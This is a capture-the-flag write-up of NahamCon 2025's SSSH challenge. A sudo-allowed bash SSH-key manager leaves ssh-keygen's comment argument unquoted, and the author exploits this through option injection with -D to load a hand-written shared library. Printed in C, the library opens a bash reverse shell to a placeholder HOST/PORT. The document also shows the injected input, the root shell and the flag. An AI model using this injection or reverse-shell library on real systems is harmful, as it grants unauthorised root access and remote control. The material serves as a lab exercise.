NahamCon 2025 - Miscellaneous
In this CTF I only do a few challenge this is the two of it
SSH Key Tester - 78solves
SSSH (Medium) - 65solves
Description:
Haven't you always wanted a Super Secure Shell key manager!?! Now you've got it, with our super secure Super Secure Shell utility, SSSH!
It's so secure, you can even run it with privileges!
Given an ssh service which i can connect to. Then from the banner we know there is something in /opt
user@sssh:~$ ls /opt
sssh.sh
# sssh.sh
#!/bin/bash
# SSSH - Super Secure Shell Key Manager
HEADER_WIDTH=76
HEADER_MARGIN="1 2"
HEADER_PADDING="2 4"
HEADER_FG=212
HEADER_BORDER_FG=212
BOX_WIDTH=50
BOX_MARGIN="2 2"
BOX_PADDING="1 2"
BOX_FG=212
BOX_BORDER_FG=212
ERROR_FG=196
ERROR_BORDER_FG=196
SUCCESS_FG=46
SUCCESS_BORDER_FG=46
if ! command -v gum &> /dev/null; then
echo "Error: gum is not installed. Please install it first:"
echo "go install github.com/charmbracelet/gum@latest"
exit 1
fi
if [ ! -d ~/.ssh ]; then
mkdir -p ~/.ssh
chmod 700 ~/.ssh
fi
gum style \
--foreground "$HEADER_FG" --border-foreground "$HEADER_BORDER_FG" --border double \
--align center --width "$HEADER_WIDTH" --margin "$HEADER_MARGIN" --padding "$HEADER_PADDING" \
'SSSH - Super Secure Shell Key Manager' 'Your keys are safe with us!'
list_keys() {
files=$(find ~/.ssh -type f 2>/dev/null)
if [ -z "$files" ]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "No files found in ~/.ssh"
return 1
fi
key_list=""
for file in $files; do
key_list+="$file\n"
done
selected_file=$(echo -e "$key_list" | gum filter --header "Select a file to view from ~/.ssh" --placeholder "Search files...")
selected_file=$(echo "$selected_file" | cut -d' ' -f1)
if [ -n "$selected_file" ]; then
if [ ! -r "$selected_file" ]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Permission denied: Cannot read $selected_file"
return 1
fi
gum pager < "$selected_file"
fi
}
is_valid_input() {
if [[ "$1" =~ [\;\&\|\>\<\`\[\]\(\)\$\'\"\\\/] ]]; then
return 1
fi
return 0
}
is_valid_destination() {
if [[ "$1" == *".."* ]] || [[ "$1" == *"/"* ]]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Unsafe destination"
return 1
fi
if ! is_valid_input "$1"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid destination: Dangerous characters"
return 1
fi
return 0
}
generate_key() {
key_type=$(gum choose --header "Select Key Type for ~/.ssh" "RSA" "Ed25519" "ECDSA")
case "$key_type" in
"RSA")
default_name="id_rsa"
;;
"Ed25519")
default_name="id_ed25519"
;;
"ECDSA")
default_name="id_ecdsa"
;;
esac
if ! is_valid_input "$default_name"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid default key name: Dangerous characters"
return 1
fi
key_name=$(gum input --value "$default_name" --placeholder "Enter custom key name (will be saved in ~/.ssh/)" --prompt "Key Name: ")
key_name=$(basename "$key_name")
if ! is_valid_input "$key_name"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid input filename: Dangerous characters"
return 1
fi
passphrase=$(gum input --password --placeholder "Enter passphrase (optional)" --prompt "Passphrase: ")
if ! is_valid_input "$passphrase"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid passphrase: Dangerous characters"
return 1
fi
comment=$(gum input --placeholder "Enter comment for key (optional)" --prompt "Comment: ")
if ! is_valid_input "$comment"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid comment: Dangerous characters"
return 1
fi
if [ -f ~/.ssh/"$key_name" ] || [ -f ~/.ssh/"$key_name.pub" ]; then
if ! gum confirm "Key ~/.ssh/$key_name already exists. Overwrite?"; then
return
fi
overwrite_flag="-y"
else
overwrite_flag=""
fi
mkdir -p ~/.ssh
chmod 700 ~/.ssh
if [ -n "$comment" ]; then
error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
else
error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
ssh-keygen $overwrite_flag -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
fi
if [ $? -eq 0 ]; then
chmod 600 ~/.ssh/"$key_name"
chmod 644 ~/.ssh/"$key_name.pub"
gum style --foreground "$SUCCESS_FG" --border-foreground "$SUCCESS_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Key generated successfully in ~/.ssh/$key_name"
else
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Failed to generate key in ~/.ssh/$key_name: $error_output"
fi
}
import_key() {
key_file=$(gum file --file --header "Select a key file to import into ~/.ssh")
if [ -z "$key_file" ]; then
return 1
fi
if ! is_valid_input "$key_file"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid source file path: Dangerous characters"
return 1
fi
if [ ! -r "$key_file" ]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Permission denied: Cannot read source file $key_file"
return 1
fi
dest_name=$(gum input --placeholder "Enter destination name (will be saved in ~/.ssh/)" --prompt "Destination Name: ")
dest_name=$(basename $dest_name)
if ! is_valid_destination "$dest_name"; then
return 1
fi
if [ ! -w ~/.ssh ]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Permission denied: Cannot write to ~/.ssh directory"
return 1
fi
if gum confirm "Import key with these settings?"; then
gum spin --spinner dot --title "Importing key to ~/.ssh/$dest_name..." -- \
cp "$key_file" ~/.ssh/"$dest_name" && \
chmod 600 ~/.ssh/"$dest_name"
if [ $? -eq 0 ]; then
gum style --foreground "$SUCCESS_FG" --border-foreground "$SUCCESS_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Key imported successfully to ~/.ssh/$dest_name"
else
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Failed to import key to ~/.ssh/$dest_name"
fi
fi
}
delete_key() {
files=$(find ~/.ssh -type f 2>/dev/null)
if [ -z "$files" ]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "No files found in ~/.ssh"
return 1
fi
file_to_delete=$(echo "$files" | gum filter --header "Select a file to delete from ~/.ssh" --placeholder "Search files...")
if [ -z "$file_to_delete" ]; then
return 1
fi
if [ ! -w "$file_to_delete" ]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Permission denied: Cannot delete $file_to_delete"
return 1
fi
if gum confirm "Are you sure you want to delete key $file_to_delete ?"; then
gum spin --spinner dot --title "Deleting $file_to_delete..." -- \
rm "$file_to_delete"
if [ $? -eq 0 ]; then
gum style --foreground "$SUCCESS_FG" --border-foreground "$SUCCESS_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "File deleted successfully: $file_to_delete"
else
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Failed to delete file: $file_to_delete"
fi
fi
}
while true; do
choice=$(gum choose --header "SSSH: Select an Option" "List Keys" "Generate New Key" "Import Key" "Delete Key" "Exit")
case "$choice" in
"List Keys")
list_keys
;;
"Generate New Key")
generate_key
;;
"Import Key")
import_key
;;
"Delete Key")
delete_key
;;
"Exit")
gum style \
--foreground "$HEADER_FG" --border-foreground "$HEADER_BORDER_FG" --border double \
--align center --width "$HEADER_WIDTH" --margin "$HEADER_MARGIN" --padding "$HEADER_PADDING" \
'Thank you for using SSSH!' 'Your keys are safe with us!'
exit 0
;;
esac
The script has options for:
- List Keys
- Generate New Key
- Import Key
- Delete Key
So where is the flag? I suspected it might be on the /root
. So i need to find a way how to read /root
dir. Since it root user restriction. So the way we can do is find something that we can run as root
user.
First I checks if there is any sudo misconfigured by checking the sudo privileges sudo -l
user@sssh:~$ sudo -l
Matching Defaults entries for user on sssh-0fa335a95dde838f-7c9b78cbd6-94b7x:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on sssh-0fa335a95dde838f-7c9b78cbd6-94b7x:
(root) NOPASSWD: /opt/sssh.sh
Then, we can find that we can run sssh.sh
command with sudo
w/o password. But how we can open /root
with this?
We can do this by run sudo /opt/sssh.sh
then choose Import Key
menu then go to /root
directory. From there we can see there are two files inside /root
directory
Select a key file to import into ~/.ssh
> -rw-r--r-- 76B flag.txt
-rwxr-xr-x 19kB get_flag_random_suffix_785634765283686
After that we can open and read it via List Key
menu
# flag.txt
│ 1 │ [ Sorry, your flag will be displayed once you have code execution as root ] │
# get_flag_random_suffix_785634765283686
│ �=�=��88800 │
│ │
│ hhh$$S�td8880 │
│ 0 │
│ P�td| | | │
│ $$Q�tdR�td�- │
│ �=�= │
│ │
It seems that we need to do some code execution or something since the flag.txt
file says so. Plus, the get_flag
file its must be a binary file.
Okay since we need some kind of code execution, we should find some code injection somewhere especially in sssh.sh
code
comment=$(gum input --placeholder "Enter comment for key (optional)" --prompt "Comment: ")
if ! is_valid_input "$comment"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid comment: Dangerous characters"
return 1
fi
if [ -f ~/.ssh/"$key_name" ] || [ -f ~/.ssh/"$key_name.pub" ]; then
if ! gum confirm "Key ~/.ssh/$key_name already exists. Overwrite?"; then
return
fi
overwrite_flag="-y"
else
overwrite_flag=""
fi
mkdir -p ~/.ssh
chmod 700 ~/.ssh
if [ -n "$comment" ]; then
error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
else
error_output=$(gum spin --spinner dot --title "Generating key in ~/.ssh..." -- \
ssh-keygen $overwrite_flag -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
fi
dest_name=$(gum input --placeholder "Enter destination name (will be saved in ~/.ssh/)" --prompt "Destination Name: ")
dest_name=$(basename $dest_name)
There is two of command injection vulnerability here.
- Command injection in
comment
field while doingssh-keygen
The comment variable is directly passed as an argument to ssh-keygen without quotes:
ssh-keygen $overwrite_flag -C $comment -t $key_type -f ~/.ssh/"$key_name" -N "$passphrase" 2>&1)
- Command injection in
dest_name
handling onbasename
Again, basename is not quoted:
dest_name=$(gum input --placeholder "Enter destination name (will be saved in ~/.ssh/)" --prompt "Destination Name: ")
dest_name=$(basename $dest_name)
But there is a catch here, it has an input sanitization:
is_valid_input() {
if [[ "$1" =~ [\;\&\|\>\<\`\[\]\(\)\$\'\"\\\/] ]]; then
return 1
fi
return 0
}
is_valid_destination() {
if [[ "$1" == *".."* ]] || [[ "$1" == *"/"* ]]; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Unsafe destination"
return 1
fi
if ! is_valid_input "$1"; then
gum style --foreground "$ERROR_FG" --border-foreground "$ERROR_BORDER_FG" --border double --align center --width "$BOX_WIDTH" --margin "$BOX_MARGIN" --padding "$BOX_PADDING" "Invalid destination: Dangerous characters"
return 1
fi
return 0
}
Injection with a flag
[\;\&\|\>\<\`\[\]\(\)\$\'\"\\\/]
.
Okay we’re blocked from using:
- Shell metacharacters like
;, &, |, >, <
- Backticks, subshells, quotes, etc.
But what’s not blocked? The hyphen -
.
This means we can try to inject new options into the commands the script is running, using flags (like -o
or --some-option
) that might let us achieve code execution or other unintended behavior.
Interestingly, tools like GTFOBins highlight that some commands (including ssh-keygen
) can be abused in this way https://gtfobins.github.io/gtfobins/ssh-keygen/#library-load. This trick leverages the ability of ssh-keygen
to load libraries via -D
(dynamic library load), which can lead to code execution if an attacker can supply a malicious library.
I only can find this good resources on the internet Abusing ssh-keygen.
So, here’s what i craft, I managed to do a reverse shell:
#include "pkcs11.h"
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
CK_RV C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList) {
pid_t pid = fork();
if (pid == 0) {
char *cmd = "/bin/bash";
char *args[] = {
cmd,
"-c",
"bash -i >& /dev/tcp/HOST/PORT 0>&1",
NULL
};
execv(cmd,args);
} else if(pid > 0) {
wait(NULL);
} else {
perror("fork");
return 1;
}
return CKR_OK;
}
Compile it to the shared library file .so
upload it, then sudo /opt/sssh.sh
> Generate New Key
> id_rsa
>
> "dapa" -D /home/user/lib2shell.so
And it worked perfectly we can get a new connection:
root@sssh:/home/user# cd /root
cd /root
root@sssh:~# cat flag.txt
cat flag.txt
[ Sorry, your flag will be displayed once you have code execution as root ]
root@sssh:~#./get_flag_random_suffix_785634765283686
./get_flag_random_suffix_785634765283686
Please press Enter within one second to retrieve the flag.
flag{2add1f5c8b01719c39609f02d10e3d12}